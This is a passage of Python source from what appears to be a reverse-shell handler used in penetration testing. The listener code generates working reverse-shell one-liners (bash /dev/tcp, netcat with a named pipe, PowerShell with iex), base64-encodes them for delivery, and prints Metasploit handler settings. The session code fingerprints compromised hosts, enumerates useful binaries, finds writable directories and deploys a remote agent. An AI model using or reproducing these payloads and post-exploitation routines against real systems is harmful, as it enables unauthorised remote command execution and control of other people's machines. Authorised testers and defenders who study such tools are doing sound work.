1812 | self.socket.setblocking(False)
1813 | self.caller = caller()
1814 |
1815 | if self.bind(self.host, self.port):
1816 | self.start()
1817 |
1818 | def __str__(self):
1819 | return f"TCPListener({self.host}:{self.port})"
1820 |
1821 | def __bool__(self):
1822 | return hasattr(self, 'id')
1823 |
1824 | @handle_bind_errors
1825 | def bind(self, host, port):
1826 | self.port = int(port)
1827 | self.socket.bind((host, self.port))
1828 |
1829 | def fileno(self):
1830 | return self.socket.fileno()
1831 |
1832 | def start(self):
1833 | specific = ""
1834 | if self.host == '0.0.0.0':
1835 | specific = paint('→ ').cyan + str(paint(' • ').cyan).join([str(paint(ip).cyan) for ip in Interfaces().list.values()])
1836 |
1837 | logger.info(f"Listening for reverse shells on {paint(self.host).blue}{paint(':').red}{paint(self.port).red} {specific}")
1838 |
1839 | self.socket.listen(5)
1840 |
1841 | self.id = core.new_listenerID
1842 | core.rlist.append(self)
1843 | core.listeners[self.id] = self
1844 | if not core.started:
1845 | core.start()
1846 |
1847 | core.control << "" # TODO
1848 |
1849 | if options.payloads:
1850 | print(self.payloads)
1851 |
1852 | def stop(self):
1853 |
1854 | if threading.current_thread().name != 'Core':
1855 | core.control << f'self.listeners[{self.id}].stop()'
1856 | return
1857 |
1858 | core.rlist.remove(self)
1859 | del core.listeners[self.id]
1860 |
1861 | try:
1862 | self.socket.shutdown(socket.SHUT_RDWR)
1863 | except OSError:
1864 | pass
1865 |
1866 | self.socket.close()
1867 |
1868 | if options.single_session and core.sessions and not self.caller == 'spawn':
1869 | logger.info(f"Stopping {self} due to Single Session mode")
1870 | else:
1871 | logger.warning(f"Stopping {self}")
1872 |
1873 | @property
1874 | def payloads(self):
1875 | interfaces = Interfaces().list
1876 | presets = [
1877 | "(bash >& /dev/tcp/{}/{} 0>&1) &",
1878 | "(rm /tmp/_;mkfifo /tmp/_;cat /tmp/_|sh 2>&1|nc {} {} >/tmp/_) &",
1879 | '$client = New-Object System.Net.Sockets.TCPClient("{}",{});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()' # Taken from revshells.com
1880 | ]
1881 |
1882 | output = [str(paint(self).white_MAGENTA)]
1883 | output.append("")
1884 | ips = [self.host]
1885 |
1886 | if self.host == '0.0.0.0':
1887 | ips = [ip for ip in interfaces.values()]
1888 |
1889 | for ip in ips:
1890 | iface_name = {v: k for k, v in interfaces.items()}.get(ip)
1891 | output.extend((f'➤ {str(paint(iface_name).GREEN)} → {str(paint(ip).cyan)}:{str(paint(self.port).red)}', ''))
1892 | output.append(str(paint("Bash TCP").UNDERLINE))
1893 | output.append(f"printf {base64.b64encode(presets[0].format(ip, self.port).encode()).decode()}|base64 -d|bash")
1894 | output.append("")
1895 | output.append(str(paint("Netcat + named pipe").UNDERLINE))
1896 | output.append(f"printf {base64.b64encode(presets[1].format(ip, self.port).encode()).decode()}|base64 -d|sh")
1897 | output.append("")
1898 | output.append(str(paint("Powershell").UNDERLINE))
1899 | output.append("cmd /c powershell -e " + base64.b64encode(presets[2].format(ip, self.port).encode("utf-16le")).decode())
1900 |
1901 | output.extend(dedent(f"""
1902 | {paint('Metasploit').UNDERLINE}
1903 | set PAYLOAD generic/shell_reverse_tcp
1904 | set LHOST {ip}
1905 | set LPORT {self.port}
1906 | set DisablePayloadHandler true
1907 | """).split("\n"))
1908 |
1909 | output.append("─" * 80)
1910 | return '\n'.join(output)
1911 |
1912 |
1913 | class Channel:
1914 |
1915 | def __init__(self, raw=False, expect = []):
1916 | self._read, self._write = os.pipe()
1917 | self.can_use = True
1918 | self.active = False
1919 | self.allow_receive_shell_data = True
1920 | self.control = ControlQueue()
1921 |
1922 | def fileno(self):
1923 | return self._read
1924 |
1925 | def read(self):
1926 | return os.read(self._read, options.network_buffer_size)
1927 |
1928 | def write(self, data):
1929 | os.write(self._write, data)
1930 |
1931 |
1932 | class Session:
1933 |
1934 | def __init__(self, _socket, target, port, listener=None):
1935 | print("\a", flush=True, end='')
1936 |
1937 | self.socket = _socket
1938 | self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
1939 | self.socket.setblocking(False)
1940 | self.target, self.port = target, port
1941 | self.ip = _socket.getpeername()[0]
1942 | self._host, self._port = self.socket.getsockname()
1943 | self.listener = listener
1944 | self.source = 'reverse' if listener else 'bind'
1945 |
1946 | self.id = None
1947 | self.OS = None
1948 | self.type = 'Basic'
1949 | self.subtype = None
1950 | self.interactive = None
1951 | self.echoing = None
1952 | self.pty_ready = None
1953 | self.readline = None
1954 |
1955 | self.version = None
1956 |
1957 | self.prompt = None
1958 | self.new = True
1959 |
1960 | self.last_lines = LineBuffer(options.attach_lines)
1961 | self.lock = threading.Lock()
1962 | self.wlock = threading.Lock()
1963 |
1964 | self.outbuf = io.BytesIO()
1965 | self.shell_response_buf = io.BytesIO()
1966 |
1967 | self.tasks = {"portfwd":[], "scripts":[]}
1968 | self.subchannel = Channel()
1969 | self.latency = None
1970 |
1971 | self.alternate_buffer = False
1972 | self.agent = False
1973 | self.messenger = Messenger(io.BytesIO)
1974 |
1975 | self.streamID = 0
1976 | self.streams = dict()
1977 | self.stream_lock = threading.Lock()
1978 | self.stream_code = Messenger.STREAM_CODE
1979 | self.streams_max = 2 ** (8 * Messenger.STREAM_BYTES)
1980 |
1981 | self.shell_pid = None
1982 | self.user = None
1983 | self.tty = None
1984 |
1985 | self._bin = defaultdict(lambda: "")
1986 | self._tmp = None
1987 | self._cwd = None
1988 | self._can_deploy_agent = None
1989 |
1990 | self.bypass_control_session = False
1991 | self.upgrade_attempted = False
1992 |
1993 | core.rlist.append(self)
1994 |
1995 | if self.determine():
1996 | logger.debug(f"OS: {self.OS}")
1997 | logger.debug(f"Type: {self.type}")
1998 | logger.debug(f"Subtype: {self.subtype}")
1999 | logger.debug(f"Interactive: {self.interactive}")
2000 | logger.debug(f"Echoing: {self.echoing}")
2001 |
2002 | self.get_system_info()
2003 |
2004 | if not self.hostname:
2005 | if target == self.ip:
2006 | try:
2007 | self.hostname = socket.gethostbyaddr(target)[0]
2008 |
2009 | except socket.herror:
2010 | self.hostname = ''
2011 | logger.debug(f"Cannot resolve hostname")
2012 | else:
2013 | self.hostname = target
2014 |
2015 | hostname = self.hostname
2016 | c1 = '~' if hostname else ''
2017 | ip = self.ip
2018 | c2 = '-'
2019 | system = self.system
2020 | if not system:
2021 | system = self.OS.upper()
2022 | if self.arch:
2023 | system += '-' + self.arch
2024 |
2025 | self.name = f"{hostname}{c1}{ip}{c2}{system}"
2026 | self.name_colored = (
2027 | f"{paint(hostname).white_BLUE}{paint(c1).white_DIM}"
2028 | f"{paint(ip).white_RED}{paint(c2).white_DIM}"
2029 | f"{paint(system).cyan}"
2030 | )
2031 |
2032 | self.id = core.new_sessionID
2033 | core.hosts[self.name].append(self)
2034 | core.sessions[self.id] = self
2035 |
2036 | if self.name == core.session_wait_host:
2037 | core.session_wait.put(self.id)
2038 |
2039 | logger.info(
2040 | f"Got {self.source} shell from "
2041 | f"{self.name_colored}{paint().green} 😍️ "
2042 | f"Assigned SessionID {paint('<' + str(self.id) + '>').yellow}"
2043 | )
2044 |
2045 | self.directory = options.basedir / self.name
2046 | if not options.no_log:
2047 | self.directory.mkdir(parents=True, exist_ok=True)
2048 | self.logpath = self.directory / f'{datetime.now().strftime("%Y_%m_%d-%H_%M_%S-%f")[:-3]}.log'
2049 | self.histfile = self.directory / "readline_history"
2050 | self.logfile = open(self.logpath, 'ab', buffering=0)
2051 | if not options.no_timestamps:
2052 | self.logfile.write(str(paint(datetime.now().strftime("%Y-%m-%d %H:%M:%S: ")).magenta).encode())
2053 |
2054 | for module in modules().values():
2055 | if module.enabled and module.on_session_start:
2056 | module.run(self)
2057 |
2058 | self.maintain()
2059 |
2060 | if options.single_session and self.listener:
2061 | self.listener.stop()
2062 |
2063 | if hasattr(listener_menu, 'active') and listener_menu.active:
2064 | os.close(listener_menu.control_w)
2065 | listener_menu.finishing.wait()
2066 |
2067 | attach_conditions = [
2068 | # Is a reverse shell and the Menu is not active and reached the maintain value
2069 | self.listener and not menu.active.is_set() and len(core.hosts[self.name]) == options.maintain,
2070 |
2071 | # Is a bind shell and is not spawned from the Menu
2072 | not self.listener and not menu.active.is_set(),
2073 |
2074 | # Is a bind shell and is spawned from the connect Menu command
2075 | not self.listener and menu.active.is_set() and menu.lastcmd.startswith('connect')
2076 | ]
2077 |
2078 | # If no other session is attached
2079 | if core.attached_session is None:
2080 | # If auto-attach is enabled
2081 | if not options.no_attach:
2082 | if any(attach_conditions):
2083 | # Attach the newly created session
2084 | self.attach()
2085 | else:
2086 | if self.id == 1:
2087 | menu.set_id(self.id)
2088 | if not menu.active.is_set():
2089 | menu.show()
2090 | else:
2091 | self.kill()
2092 | return
2093 |
2094 | def __bool__(self):
2095 | return self.socket.fileno() != -1 # and self.OS)
2096 |
2097 | def __repr__(self):
2098 | return (
2099 | f"ID: {self.id} -> {__class__.__name__}({self.name}, {self.OS}, {self.type}, "
2100 | f"interactive={self.interactive}, echoing={self.echoing})"
2101 | )
2102 |
2103 | def __getattr__(self, name):
2104 | if name == 'new_streamID':
2105 | with self.stream_lock:
2106 | if len(self.streams) == self.streams_max:
2107 | logger.error("Too many open streams...")
2108 | return None
2109 |
2110 | self.streamID += 1
2111 | self.streamID = self.streamID % self.streams_max
2112 | while struct.pack(self.stream_code, self.streamID) in self.streams:
2113 | self.streamID += 1
2114 | self.streamID = self.streamID % self.streams_max
2115 |
2116 | _stream_ID_hex = struct.pack(self.stream_code, self.streamID)
2117 | self.streams[_stream_ID_hex] = Stream(_stream_ID_hex, self)
2118 |
2119 | return self.streams[_stream_ID_hex]
2120 | else:
2121 | raise AttributeError(name)
2122 |
2123 | def fileno(self):
2124 | return self.socket.fileno()
2125 |
2126 | @property
2127 | def can_deploy_agent(self):
2128 | if self._can_deploy_agent is None:
2129 | if Path(self.directory / ".noagent").exists():
2130 | self._can_deploy_agent = False
2131 | else:
2132 | _bin = self.bin['python3'] or self.bin['python']
2133 | if _bin:
2134 | version = self.exec(f"{_bin} -V 2>&1 || {_bin} --version 2>&1", value=True)
2135 | try:
2136 | major, minor, micro = re.search(r"Python (\d+)\.(\d+)(?:\.(\d+))?", version).groups()
2137 | except:
2138 | self._can_deploy_agent = False
2139 | return self._can_deploy_agent
2140 | self.remote_python_version = (int(major), int(minor), int(micro))
2141 | if self.remote_python_version >= (2, 3): # Python 2.2 lacks: tarfile, os.walk, yield
2142 | self._can_deploy_agent = True
2143 | else:
2144 | self._can_deploy_agent = False
2145 | else:
2146 | self._can_deploy_agent = False
2147 |
2148 | return self._can_deploy_agent
2149 |
2150 | @property
2151 | def spare_control_sessions(self):
2152 | return [session for session in self.control_sessions if session is not self]
2153 |
2154 | @property
2155 | def need_control_sessions(self):
2156 | return [session for session in core.hosts[self.name] if session.need_control_session]
2157 |
2158 | @property
2159 | def need_control_session(self):
2160 | return all([self.OS == 'Unix', self.type == 'PTY', not self.agent])
2161 |
2162 | @property
2163 | def control_sessions(self):
2164 | return [session for session in core.hosts[self.name] if not session.need_control_session]
2165 |
2166 | @property
2167 | def control_session(self):
2168 | if self.need_control_session:
2169 | for session in core.hosts[self.name]:
2170 | if not session.need_control_session:
2171 | return session
2172 | return None # TODO self.spawn()
2173 | return self
2174 |
2175 | def get_system_info(self):
2176 | self.hostname = self.system = self.arch = ''
2177 |
2178 | if self.OS == 'Unix':
2179 | if not self.bin['uname']:
2180 | return False
2181 |
2182 | self.bypass_control_session = True
2183 | response = self.exec(
2184 | r'printf "$({0} -n)\t'
2185 | r'$({0} -s)\t'
2186 | r'$({0} -m 2>/dev/null|grep -v unknown||{0} -p 2>/dev/null)"'.format(self.bin['uname']),
2187 | agent_typing=True,
2188 | value=True
2189 | )
2190 | self.bypass_control_session = False
2191 |
2192 | try:
2193 | self.hostname, self.system, self.arch = response.split("\t")
2194 | except:
2195 | return False
2196 |
2197 | elif self.OS == 'Windows':
2198 | self.systeminfo = self.exec('systeminfo', value=True)
2199 | if not self.systeminfo:
2200 | return False
2201 |
2202 | def extract_value(pattern):
2203 | match = re.search(pattern, self.systeminfo, re.MULTILINE)
2204 | return match.group(1).replace(" ", "_").rstrip() if match else ''
2205 |
2206 | self.hostname = extract_value(r"^Host Name:\s+(.+)")
2207 | self.system = extract_value(r"^OS Name:\s+(.+)")
2208 | self.arch = extract_value(r"^System Type:\s+(.+)")
2209 |
2210 | return True
2211 |
2212 | def get_shell_info(self, silent=False):
2213 | self.bypass_control_session = True
2214 | self.shell_pid = self.get_shell_pid()
2215 | self.user = self.get_user()
2216 | if self.OS == 'Unix':
2217 | self.tty = self.get_tty(silent=silent)
2218 | self.bypass_control_session = False
2219 |
2220 | def get_shell_pid(self):
2221 | if self.OS == 'Unix':
2222 | response = self.exec("echo $$", agent_typing=True, value=True)
2223 |
2224 | elif self.OS == 'Windows':
2225 | return None # TODO
2226 |
2227 | if not (isinstance(response, str) and response.isnumeric()):
2228 | logger.error(f"Cannot get the PID of the shell. Response:\r\n{paint(response).white}")
2229 | return False
2230 | return response
2231 |
2232 | def get_user(self):
2233 | if self.OS == 'Unix':
2234 | response = self.exec("echo \"$(id -un)($(id -u))\"", agent_typing=True, value=True)
2235 |
2236 | elif self.OS == 'Windows':
2237 | if self.type == 'PTY':
2238 | return None # TODO
2239 | response = self.exec("whoami", value=True)
2240 |
2241 | return response or ''
2242 |
2243 | def get_tty(self, silent=False):
2244 | response = self.exec("tty", agent_typing=True, value=True) # TODO check binary
2245 | if not (isinstance(response, str) and response.startswith('/')):
2246 | if not silent:
2247 | logger.error(f"Cannot get the TTY of the shell. Response:\r\n{paint(response).white}")
2248 | return False
2249 | return response
2250 |
2251 | @property
2252 | def cwd(self):
2253 | if self._cwd is None:
2254 | if self.OS == 'Unix':
2255 | cmd = (
2256 | f"readlink /proc/{self.shell_pid}/cwd 2>/dev/null || "
2257 | f"lsof -p {self.shell_pid} 2>/dev/null | awk '$4==\"cwd\" {{print $9;exit}}' | grep . || "
2258 | f"procstat -f {self.shell_pid} 2>/dev/null | awk '$3==\"cwd\" {{print $NF;exit}}' | grep . || "
2259 | f"pwdx {self.shell_pid} 2>/dev/null | awk '{{print $2;exit}}' | grep ."
2260 | )
2261 | self._cwd = self.control_session.exec(cmd, value=True)
2262 | elif self.OS == 'Windows':
2263 | self._cwd = self.exec("cd", force_cmd=True, value=True)
2264 | return self._cwd or ''
2265 |
2266 | @property
2267 | def is_attached(self):
2268 | return core.attached_session is self
2269 |
2270 | @property
2271 | def bin(self):
2272 | if not self._bin:
2273 | try:
2274 | if self.OS == "Unix":
2275 | binaries = [
2276 | "sh", "bash", "python", "python3", "uname",
2277 | "script", "socat", "tty", "echo", "base64", "wget",
2278 | "curl", "tar", "rm", "stty", "setsid", "find", "nc"
2279 | ]
2280 | response = self.exec(f'for i in {" ".join(binaries)}; do which $i 2>/dev/null || echo;done')
2281 | if response:
2282 | self._bin = dict(zip(binaries, response.decode().splitlines()))
2283 |
2284 | missing = [b for b in binaries if not os.path.isabs(self._bin[b])]
2285 |
2286 | if missing:
2287 | logger.debug(paint(f"We didn't find the binaries: {missing}. Trying another method").red)
2288 | response = self.exec(
2289 | f'for bin in {" ".join(missing)}; do for dir in '
2290 | f'{" ".join(LINUX_PATH.split(":"))}; do _bin=$dir/$bin; ' # TODO PATH
2291 | 'test -f $_bin && break || unset _bin; done; echo $_bin; done'
2292 | )
2293 | if response:
2294 | self._bin.update(dict(zip(missing, response.decode().splitlines())))
2295 |
2296 | for binary in options.no_bins:
2297 | self._bin[binary] = None
2298 |
2299 | result = "\n".join([f"{b}: {self._bin[b]}" for b in binaries])
2300 | logger.debug(f"Available binaries on target: \n{paint(result).red}")
2301 | except:
2302 | pass
2303 |
2304 | return self._bin
2305 |
2306 | @property
2307 | def tmp(self):
2308 | if self._tmp is None:
2309 | if self.OS == "Unix":
2310 | logger.debug(f"Trying to find a writable directory on target")
2311 | tmpname = rand(10)
2312 | common_dirs = ("/dev/shm", "/tmp", "/var/tmp")
2313 | for directory in common_dirs:
2314 | if not self.exec(f'echo {tmpname} > {directory}/{tmpname}', value=True):
2315 | self.exec(f'rm {directory}/{tmpname}')
2316 | self._tmp = directory
2317 | break
2318 | else:
2319 | candidate_dirs = self.exec(f'find / -type d -writable 2>/dev/null')
2320 | if candidate_dirs:
2321 | for directory in candidate_dirs.decode().splitlines():
2322 | if directory in common_dirs:
2323 | continue
2324 | if not self.exec(f'echo {tmpname} > {directory}/{tmpname}', value=True):
2325 | self.exec(f'rm {directory}/{tmpname}')
2326 | self._tmp = directory
2327 | break
2328 | if not self._tmp:
2329 | self._tmp = False
2330 | logger.warning("Cannot find writable directory on target...")
2331 | else:
2332 | logger.debug(f"Available writable directory on target: {paint(self._tmp).RED}")
2333 |
2334 | elif self.OS == "Windows":
2335 | self._tmp = self.exec("echo %TEMP%", force_cmd=True, value=True)
2336 |
2337 | return self._tmp
2338 |
2339 | def agent_only(func):
2340 | @wraps(func)
2341 | def newfunc(self, *args, **kwargs):
2342 | if not self.agent:
2343 | if not self.upgrade_attempted and self.can_deploy_agent:
2344 | logger.warning("This can only run in python agent mode. I am trying to deploy the agent")
2345 | self.upgrade()
2346 | if not self.agent:
2347 | logger.error("Failed to deploy agent")
2348 | return False
2349 | else:
2350 | logger.error("This can only run in python agent mode")
2351 | return False
2352 | return func(self, *args, **kwargs)
2353 | return newfunc
2354 |
2355 | def send(self, data, stdin=False):
2356 | with self.wlock: #TODO
2357 | if not self in core.rlist:
2358 | return False
2359 |
2360 | self.outbuf.seek(0, io.SEEK_END)
2361 | _len = self.outbuf.write(data)
2362 |
2363 | self.subchannel.allow_receive_shell_data = True
2364 |
2365 | if self not in core.wlist:
2366 | core.wlist.append(self)
2367 | if not stdin:
2368 | core.control << ""
2369 | return _len
2370 |
2371 | def record(self, data, _input=False):
2372 | self.last_lines << data
2373 | if not options.no_log:
2374 | self.log(data, _input)
2375 |
2376 | def log(self, data, _input=False):
2377 | #data=re.sub(rb'(\x1b\x63|\x1b\x5b\x3f\x31\x30\x34\x39\x68|\x1b\x5b\x3f\x31\x30\x34\x39\x6c)', b'', data)
2378 | data = re.sub(rb'\x1b\x63', b'', data) # Need to include all Clear escape codes
2379 |
2380 | if not options.no_timestamps:
2381 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S: ") #TEMP
2382 | if not options.no_colored_timestamps:
2383 | timestamp = paint(timestamp).magenta
2384 | data = re.sub(rb'\r\n|\r|\n|\v|\f', rf"\g<0>{timestamp}".encode(), data)
2385 | try:
2386 | if _input:
2387 | self.logfile.write(bytes(paint('ISSUED ==>').GREEN + ' ', encoding='utf8'))
2388 | self.logfile.write(data)
2389 |
2390 | except ValueError:
2391 | logger.debug("The session killed abnormally")
2392 |
2393 | def determine(self, path=False):
2394 |
2395 | var_name1, var_name2, var_value1, var_value2 = (rand(4) for _ in range(4))
2396 |
2397 | def expect(data):
2398 | try:
2399 | data = data.decode()
2400 | except:
2401 | return False
2402 | if var_value1 + var_value2 in data:
2403 | return True
2404 | elif f"'{var_name1}' is not recognized as an internal or external command" in data:
2405 | return re.search('batch file.*>', data, re.DOTALL)
2406 | elif f"The term '{var_name1}={var_value1}' is not recognized as the name of a cmdlet" in data:
2407 | return re.search('or operable.*>', data, re.DOTALL)
2408 |
2409 | response = self.exec(
2410 | f" {var_name1}={var_value1} {var_name2}={var_value2}; echo ${var_name1}${var_name2}\n",
2411 | raw=True,
2412 | expect_func=expect
2413 | )
2414 | if response:
2415 | response = response.decode()
2416 |
2417 | if var_value1 + var_value2 in response:
2418 | self.OS = 'Unix'
2419 | self.interactive = not response == var_value1 + var_value2 + "\n"
2420 | self.echoing = f"echo ${var_name1}${var_name2}" in response
2421 | self.prompt = response.split(var_value1 + var_value2)[-1].lstrip().encode()
2422 |
2423 | elif f"'{var_name1}' is not recognized as an internal or external command" in response:
2424 | self.OS = 'Windows'
2425 | self.type = 'Basic'
2426 | self.subtype = 'cmd'
2427 | self.interactive = True
2428 | self.echoing = True
2429 | self.prompt = response.splitlines()[-1].encode()
2430 | self.version = re.search(r"Microsoft Windows \[Version (.*)\]", response, re.DOTALL)[1]
2431 |
2432 | elif f"The term '{var_name1}={var_value1}' is not recognized as the name of a cmdlet" in response:
2433 | self.OS = 'Windows'
2434 | self.type = 'Basic'
2435 | self.subtype = 'psh'
2436 | self.interactive = True
2437 | self.echoing = False
2438 | self.prompt = response.splitlines()[-1].encode()
2439 | else:
2440 | def expect(data):
2441 | try:
2442 | data = data.decode()
2443 | except:
2444 | return False
2445 | if var_value1 + var_value2 in data:
2446 | return True
2447 |
2448 | response = self.exec(
2449 | f"${var_name1}='{var_value1}'; ${var_name2}='{var_value2}'; echo ${var_name1}${var_name2}\r\n",
2450 | raw=True,
2451 | expect_func=expect
2452 | )
2453 | if not response:
2454 | return False
2455 | response = response.decode()
2456 |
2457 | if var_value1 + var_value2 in response:
2458 | self.OS = 'Windows'
2459 | self.type = 'Basic'
2460 | self.subtype = 'psh'
2461 | self.interactive = True
2462 | self.echoing = False
2463 | self.prompt = response.splitlines()[-1].encode()
2464 | if var_name1 in response and not f"echo ${var_name1}${var_name2}" in response:
2465 | self.type = 'PTY'
2466 | columns, lines = shutil.get_terminal_size()
2467 | cmd = (
2468 | f"$width={columns}; $height={lines}; "
2469 | f"$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height); "
2470 | f"$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size "
2471 | f"-ArgumentList ($width, $height)"
2472 | )
2473 | self.exec(cmd)
2474 | self.prompt = response.splitlines()[-2].encode()
2475 | else:
2476 | self.prompt = re.sub(var_value1.encode() + var_value2.encode(), b"", self.prompt)
2477 |
2478 | self.get_shell_info(silent=True)
2479 | if self.tty:
2480 | self.type = 'PTY'
2481 | if self.type == 'PTY':
2482 | self.pty_ready = True
2483 | return True
2484 |
2485 | def exec(
2486 | self,
2487 | cmd=None, # The command line to run
2488 | raw=False, # Delimiters
2489 | value=False, # Will use the output elsewhere?
2490 | timeout=False, # Timeout
2491 | expect_func=None, # Function that determines what to wait for in the response
2492 | force_cmd=False, # Execute cmd command from powershell
2493 | separate=False, # If true, send cmd via this method but receive with TLV method (agent)
2494 | # --- Agent only args ---
2495 | agent_typing=False, # Simulate typing on shell
2496 | python=False, # Execute python command
2497 | stdin_src=None, # stdin stream source
2498 | stdout_dst=None, # stdout stream destination
2499 | stderr_dst=None, # stderr stream destination
2500 | stdin_stream=None, # stdin_stream object
2501 | stdout_stream=None, # stdout_stream object
2502 | stderr_stream=None, # stderr_stream object
2503 | agent_control=None # control queue
2504 | ):
2505 | if caller() == 'session_end':
2506 | value = True
2507 |
2508 | if self.agent and not agent_typing: # TODO environment will not be the same as shell
2509 | if cmd:
2510 | cmd = dedent(cmd)
2511 | if value:
2512 | buffer = io.BytesIO()
2513 | timeout = options.short_timeout if value else None
2514 |
2515 | if not stdin_stream:
2516 | stdin_stream = self.new_streamID
2517 | if not stdin_stream:
2518 | return
2519 | if not stdout_stream:
2520 | stdout_stream = self.new_streamID
2521 | if not stdout_stream:
2522 | return
2523 | if not stderr_stream:
2524 | stderr_stream = self.new_streamID
2525 | if not stderr_stream:
2526 | return
2527 |
2528 | _type = 'S'.encode() if not python else 'P'.encode()
2529 | self.send(Messenger.message(
2530 | Messenger.EXEC, _type +
2531 | stdin_stream.id +
2532 | stdout_stream.id +
2533 | stderr_stream.id +
2534 | cmd.encode()
2535 | ))
2536 | logger.debug(cmd)
2537 | #print(stdin_stream.id, stdout_stream.id, stderr_stream.id)
2538 |
2539 | rlist = []
2540 | if stdin_src:
2541 | rlist.append(stdin_src)
2542 | if stdout_dst or value:
2543 | rlist.append(stdout_stream)
2544 | if stderr_dst or value:
2545 | rlist.append(stderr_stream) # FIX
2546 | if not rlist:
2547 | return True
2548 |
2549 | #rlist = [self.subchannel.control, stdout_stream, stderr_stream]
2550 | #if stdin_src:
2551 | # rlist.append(stdin_src)
2552 |
2553 | if not agent_control:
2554 | agent_control = self.subchannel.control # TEMP
2555 | rlist.append(agent_control)
2556 | while rlist != [agent_control]:
2557 | r, _, _ = select(rlist, [], [], timeout)
2558 | timeout = None
2559 |
2560 | if not r:
2561 | #stdin_stream.terminate()
2562 | #stdout_stream.terminate()
2563 | #stderr_stream.terminate()
2564 | break # TODO need to clear everything first
2565 |
2566 | for readable in r:
2567 |
2568 | if readable is agent_control:
2569 | command = agent_control.get()
2570 | if command == 'stop':
2571 | # TODO kill task here...
2572 | break
2573 |
2574 | if readable is stdin_src:
2575 | if hasattr(stdin_src, 'read'): # FIX
2576 | data = stdin_src.read(options.network_buffer_size)
2577 | elif hasattr(stdin_src, 'recv'):
2578 | try:
2579 | data = stdin_src.recv(options.network_buffer_size)
2580 | except OSError:
2581 | pass # TEEEEMP
2582 | stdin_stream.write(data)
2583 | if not data:
2584 | #stdin_stream << b""
2585 | rlist.remove(stdin_src)
2586 |
2587 | if readable is stdout_stream:
2588 | data = readable.read(options.network_buffer_size)
2589 | if value:
2590 | buffer.write(data)
2591 | elif stdout_dst:
2592 | if hasattr(stdout_dst, 'write'): # FIX
2593 | stdout_dst.write(data)
2594 | stdout_dst.flush()
2595 | elif hasattr(stdout_dst, 'sendall'):
2596 | try:
2597 | stdout_dst.sendall(data) # maybe broken pipe
2598 | if not data:
2599 | if stdout_dst in rlist:
2600 | rlist.remove(stdout_dst)
2601 | except:
2602 | if stdout_dst in rlist:
2603 | rlist.remove(stdout_dst)
2604 | if not data:
2605 | rlist.remove(readable)
2606 | del self.streams[readable.id]
2607 |
2608 | if readable is stderr_stream:
2609 | data = readable.read(options.network_buffer_size)
2610 | if value:
2611 | buffer.write(data)
2612 | elif stderr_dst:
2613 | if hasattr(stderr_dst, 'write'): # FIX
2614 | stderr_dst.write(data)
2615 | stderr_dst.flush()
2616 | elif hasattr(stderr_dst, 'sendall'):
2617 | try:
2618 | stderr_dst.sendall(data) # maybe broken pipe
2619 | if not data:
2620 | if stderr_dst in rlist:
2621 | rlist.remove(stderr_dst)
2622 | except:
2623 | if stderr_dst in rlist:
2624 | rlist.remove(stderr_dst)
2625 | if not data:
2626 | rlist.remove(readable)
2627 | del self.streams[readable.id]
2628 | else:
2629 | continue
2630 | break
2631 |
2632 | stdin_stream << b"" # TOCHECK
2633 | stdin_stream.write(b"")
2634 | os.close(stdin_stream._read)
2635 | del self.streams[stdin_stream.id]
2636 |
2637 | return buffer.getvalue().rstrip().decode() if value else True
2638 | return None
2639 |
2640 | with self.lock:
2641 | self.subchannel.control.clear()
2642 | if self.need_control_session and not self.bypass_control_session:
2643 | args = locals()
2644 | del args['self']
2645 | response = self.control_session.exec(**args)
2646 | return response
2647 |
2648 | if not self or not self.subchannel.can_use:
2649 | logger.debug("Exec: The session is killed")
2650 | return False
2651 |
2652 | self.subchannel.active = True
2653 | self.subchannel.result = None
2654 | buffer = io.BytesIO()
2655 | _start = time.perf_counter()
2656 |
2657 | # Constructing the payload
2658 | if cmd is not None:
2659 | if force_cmd and self.subtype == 'psh':
2660 | cmd = f"cmd /c '{cmd}'"
2661 | initial_cmd = cmd
2662 | cmd = cmd.encode()
2663 |
2664 | if raw:
2665 | if self.OS == 'Unix':
2666 | echoed_cmd_regex = rb' ' + re.escape(cmd) + rb'\r?\n'
2667 | cmd = b' ' + cmd + b'\n'
2668 |
2669 | elif self.OS == 'Windows':
2670 | cmd = cmd + b'\r\n' # TODO SOS echoed_cmd_regex check
2671 | else:
2672 | token = [rand(10) for _ in range(4)]
2673 |
2674 | if self.OS == 'Unix':
2675 | cmd = (
2676 | f" {token[0]}={token[1]} {token[2]}={token[3]};"
2677 | f"printf ${token[0]}${token[2]};"
2678 | f"{cmd.decode()};"
2679 | f"printf ${token[2]}${token[0]}\n".encode()
2680 | )
2681 |
2682 | elif self.OS == 'Windows': # TODO fix logic
2683 | if self.subtype == 'cmd':
2684 | cmd = (
2685 | f"set {token[0]}={token[1]}&set {token[2]}={token[3]}\r\n"
2686 | f"echo %{token[0]}%%{token[2]}%&{cmd.decode()}&"
2687 | f"echo %{token[2]}%%{token[0]}%\r\n".encode()
2688 | )
2689 | elif self.subtype == 'psh':
2690 | cmd = (
2691 | f"$env:{token[0]}=\"{token[1]}\";$env:{token[2]}=\"{token[3]}\"\r\n"
2692 | f"echo $env:{token[0]}$env:{token[2]};{cmd.decode()};"
2693 | f"echo $env:{token[2]}$env:{token[0]}\r\n".encode()
2694 | )
2695 | # TODO check the maxlength on powershell
2696 | if self.subtype == 'cmd' and len(cmd) > MAX_CMD_PROMPT_LEN:
2697 | logger.error(f"Max cmd prompt length: {MAX_CMD_PROMPT_LEN} characters")
2698 | return False
2699 |
2700 | self.subchannel.pattern = re.compile(
2701 | rf"{token[1]}{token[3]}(.*){token[3]}{token[1]}"
2702 | rf"{'.' if self.interactive else ''}".encode(), re.DOTALL)
2703 |
2704 | logger.debug(f"\n\n{paint(f'Command for session {self.id}').YELLOW}: {initial_cmd}")
2705 | logger.debug(f"{paint('Command sent').yellow}: {cmd.decode()}")
2706 | if self.agent and agent_typing:
2707 | cmd = Messenger.message(Messenger.SHELL, cmd)
2708 | self.send(cmd)
2709 | self.subchannel.allow_receive_shell_data = False # TODO
2710 |
